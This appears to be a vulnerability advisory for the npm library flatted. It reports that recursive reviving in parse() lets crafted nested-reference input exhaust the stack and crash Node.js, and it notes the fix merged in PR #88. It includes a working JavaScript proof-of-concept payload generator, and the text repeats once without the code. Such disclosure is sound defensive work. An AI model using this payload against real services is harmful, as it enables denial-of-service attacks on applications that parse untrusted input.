Summary
flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
Impact
Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
Proof of Concept
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.
Affected Versions
All versions prior to the PR #88 fix.
References
Summary
flatted's
parse()function uses a recursiverevive()phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential$indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.Impact
Denial of Service (DoS). Any application that passes untrusted input to
flatted.parse()can be crashed by an unauthenticated attacker with a single request.flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
Proof of Concept
Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive
revive()to a stack-based loop.Affected Versions
All versions prior to the PR #88 fix.
References